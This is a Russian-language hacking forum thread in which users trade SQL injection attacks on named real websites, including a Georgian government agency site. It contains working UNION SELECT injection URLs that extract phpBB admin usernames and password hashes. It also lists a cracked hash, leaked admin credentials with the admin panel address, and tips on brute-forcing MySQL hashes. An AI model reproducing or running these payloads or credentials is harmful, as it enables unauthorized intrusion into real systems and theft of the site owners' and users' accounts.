2 SeNaP
А хэши по-твоему только md5 в природе существуют ? По длине хэша, это скорее всего mysql хэш, брутить Passwords Pro
www.hashcracking.info рулит
43e9a4ab75570f5b : admin

2 geforse
Пипл, вы пистец, вы статьи читайте. С чего ты решил что полей 8 ? Unknown column '8' in 'order clause'
И для вопросов существует отдельная тема. Джифорс, читай статьи.
Эмм, сначала я прогнал, решив, что полей два. Пасиба .Begemot.'y, который меня поправил ^^

Не выводит на полях http://15rus.ru/txt.php?cat=-3+union+select+1,2,3,4,5,6,7,8/*
version()

Что делать?

http://www.maxivetlanda.se/view_2008.php?katid=-1+union+select+concat(0x3a3a,loginnamn,0x3a3a,lose nord,0x3a3a)+from+anv+limit+0,1/*

login: super password: duper

http://www.maxivetlanda.se/admin

Эмм, там таблиц с юзерами пхпбб форума аж 3 -
http://15rus.ru/txt.php?cat=-3+union+select+1,table_name,3,4,5,6,7,8,9+from+inf ormation_schema.columns+where+column_name=0x757365 726E616D65/*
Тебе нужна не phpbb_users, а phpbb2_users, ибо у мну ща выпала ошибка -
phpBB : Critical Error

Error obtaining user details

DEBUG MODE

SELECT * FROM phpbb2_users WHERE user_id = -1
=/

Правильный запрос выглядит так -
http://15rus.ru/txt.php?cat=-3+union+select+1,concat(username,0x3a,user_passwor d),3,4,5,6,7,8,9+from+u19256.phpbb2_users+where+us er_level=1/*
Это 4 админа форума, теперь расшифровывай хэши

грузинский сайтег The So cial Subsi dy Agency

http://www.ssa.gov.ge

version() - 4.0.27
user() - ssa_gov_ge@localhost
database() - ssa_gov_ge

Пробовал получить доступ к mysql.user , но его нету.

А подскажите плиз как увидеть поле...

....pricelist.php?step=2&server=-2%20union%20select%20concat_ws(0x3a3a,table_name,c olumn_name)%20from%20information_schema.columns+li mit+237,1--

Этим запросом мы видим Table and Column в БД information_schema как сделать так чтоб было видно поле в колонке?

вот так

видимо немного не так меня понели или это я не понимаю так как 1 раз инъекцию провожу

У меня есть БД information_schema в ней есть в ней есть таблица user_list в этой таблице есть поля такие как pass и login и мне нужно посмотреть значение этих полей.

С помощью этого запроса я вижу таблицу и колонку user_list:ass

я же вроде написал как...
только пробел удали в user_list